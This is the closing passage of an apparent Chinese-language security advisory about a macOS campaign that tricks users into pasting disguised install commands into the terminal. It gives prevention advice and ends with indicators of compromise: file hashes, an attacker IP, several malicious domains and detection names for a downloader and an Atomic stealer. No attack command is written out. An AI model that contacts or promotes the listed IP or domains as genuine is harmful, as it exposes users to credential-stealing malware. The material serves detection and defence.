从防御角度,本次事件再次提示:对于要求在终端中执行命令的"安装引导",无论站点外观多么正规,都应保持高度警惕;终端执行本质上是用户主动授予执行权限的行为,一旦命令本身被伪装,系统层面的防护机制将难以介入。
预防措施
-
不打开可疑文件,不运行可疑命令。
macOS系统并非百毒不侵,用户应不打开未知来源的可疑的文件和邮件,不轻易运行网站上要求运行的命令,防止社会工程学和钓鱼攻击。 -
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。

沦陷信标(IOC)
-
MD5
6DF2F33EE6F1B489502A764C60F63BA0 E0D6655CA151842AC28ABDE7BAA57F98 380AC2142F319EBA031601A3A96A204E -
IPV4
161.35.146.120 -
Domain
macappvault.shop shelter19.com grove-89.com grove53.com -
瑞星病毒名
Trojan.Starter/BASH!1.14484 Downloader.Agent/BASH!1.14485 Stealer.Atomic/OSX!1.14487